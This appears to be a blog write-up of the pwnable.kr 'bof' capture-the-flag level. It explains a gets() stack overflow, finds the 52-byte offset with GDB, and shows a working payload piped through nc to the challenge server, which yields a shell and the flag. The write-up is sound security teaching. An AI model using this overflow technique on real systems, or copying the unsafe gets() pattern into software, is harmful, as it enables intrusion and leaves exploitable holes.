You probably guessed what this level is about : we will try to trigger a buffer overflow (bof) in order to smash the stack and overwrite something; a return address, a variable, a pointer or something !
The link of the source code is provided to us, let’s check it out :
#include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; }
After a quick scan of the code, in the function func()
, the program is expecting the variable key
to contain the value 0xcafebabe
, but the we don’t have much control over the variable key
through i/o, since the value is already hard coded in the function call in main()
, to the value 0xdeadbeef
.
How are we going to do that ? Well the writers of the challenge were nice enough to write down a little hint in the comment : we gotta smash the variable overflowme
. We have to trigger a buffer overflow so we can overwrite the value of the variable key
with 0xcafebabe
.
Before I got ahead and try to do that, I’d like to review first the calling convention for x86 linux. So, we all know that, when calling a function, there are some things that get done to the stack before executing the body of the function. First, the parameters of the function are pushed into the stack, from the last one to the first one, and then the old stack base pointer (EBP) is pushed, then the return address to the caller is saved above the EBP, after that, EBP gets the old value of ESP. Then to allocate some space for the new stack frame, we subtract a number of bytes from ESP (because the stack grows from higher addresses to lower addresses). Finally, the local static variables of the callee are allocated in the new stack frame.
Sidenote : the parameters will have a positive index from EBP, and local variable will have negative indexes.
We can sum up all those operations in the following diagram:
Now onto our challenge, let’s fire up GDB, analyze the asm code, and try to imagine how would the stack look like.
Below is the result of the command disas on func()
:
(gdb) disas func Dump of assembler code for function func: 0x080484c4 <+0>: push %ebp 0x080484c5 <+1>: mov %esp,%ebp 0x080484c7 <+3>: sub $0x48,%esp 0x080484ca <+6>: mov %gs:0x14,%eax 0x080484d0 <+12>: mov %eax,-0xc(%ebp) 0x080484d3 <+15>: xor %eax,%eax 0x080484d5 <+17>: mov $0x8048610,%eax 0x080484da <+22>: mov %eax,(%esp) 0x080484dd <+25>: call 0x80483a0 <printf@plt> (2)0x080484e2 <+30>: lea -0x2c(%ebp),%eax 0x080484e5 <+33>: mov %eax,(%esp) 0x080484e8 <+36>: call 0x80483b0 <gets@plt> (1)0x080484ed <+41>: cmpl $0xcafebabe,0x8(%ebp) 0x080484f4 <+48>: jne 0x8048504 <func+64> 0x080484f6 <+50>: movl $0x804861f,(%esp) 0x080484fd <+57>: call 0x80483e0 <system@plt> 0x08048502 <+62>: jmp 0x8048510 <func+76> 0x08048504 <+64>: movl $0x8048627,(%esp) 0x0804850b <+71>: call 0x80483d0 <puts@plt> 0x08048510 <+76>: mov -0xc(%ebp),%eax 0x08048513 <+79>: xor %gs:0x14,%eax 0x0804851a <+86>: je 0x8048521 <func+93> 0x0804851c <+88>: call 0x80483c0 <__stack_chk_fail@plt> 0x08048521 <+93>: leave 0x08048522 <+94>: ret End of assembler dump.
From the last diagram we drew, we can guess that 0xdeadbeef
would be placed in EBP+8, since it’s the only parameter passed to the function func()
, and this hypothesis can be confirmed by looking at the line marked with the number (1); the value 0xcafebabe
, is indeed compared with EBP+8, which is the adresse of the variable key
.
Let’s check the effective address of the variable key
:
(gdb) x $ebp+8 0xffffdc40: 0xdeadbeef
Now we have the address where 0xdeadbeef
is stored. The next thing we need to do, is to now the exact offset between 0xdeadbeef
, and where and the variable overflowme
, in which the function gets()
stores our input.
We know that the function gets()
, takes the address of a buffer as a parameter, and it expects that address in the register EAX. Now, let’s look at the line marked with the number (2), we can see that the program loads the effective address EBP-0x2c into EAX, right before calling gets()
; now this only lets me think that the variable overflowme
is stored in EBP-0x2c. Let’s look at the stack to make sure of that.
First we set up a break point at the function gets()
, and then we run the program:
(gdb) break gets Breakpoint 1 at 0x80483b0 (gdb) run Starting program: /tmp/work/a.out Breakpoint 1, 0xf7e84e90 in gets () from /lib/i386-linux-gnu/libc.so.6 (gdb)
Let’s step outside of gets()
so we can provide our input :
(gdb) next Single stepping until exit from function gets, which has no line number information. overflow me : hellobof 0x080484ed in func () (gdb)
Now we look into the address EBP-0x2c to see what it contains:
(gdb) x/1s $ebp-0x2c 0xffffdc0c: "hellobof" (gdb)
We guessed right, it does contain our input, which means it is indeed the address of the variable overflowme
.
Here are the addresses we got so far :
0xffffdc0c: "hellobof" 0xffffdc40: 0xdeadbeef
Let’s calculate the offset between the two addresses :
Soufianes-MBP:~ soufiane$ python -c "print 0xffffdc0c-0xffffdc40" -52
So the two values are 52 bytes apart. Just for fun, let’s draw a little diagram:
So, finally, to exploit this, we need to smash the variable overflowme
by feeding it 52 bytes of junk, that should be sufficient to reach the address of key
, and then concatenate it with the value 0xcafebabe
to overwrite the value 0xdeadbeef
. That way, when the program wants to compare key with 0xcafababe
, it’ll find it already overwritten with that value, and it’ll just give us the shell.
So the payload we need to send is something like this (don’t forget that the system is little Endian):
python -c "print 52*'A'+'\xbe\xba\xfe\xca'"
Let’s try it on the remote server of the challenge :
Soufianes-MBP:~ soufiane$ (python -c "print 52*'A'+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000 id uid=1003(bof) gid=1003(bof) groups=1003(bof) whoami bof cat flag daddy, I just pwned a buFFer :)
And voilà , we caught the flag 🙂
One thought on “[Pwnable.kr] bof writeup – Toddler’s bottle”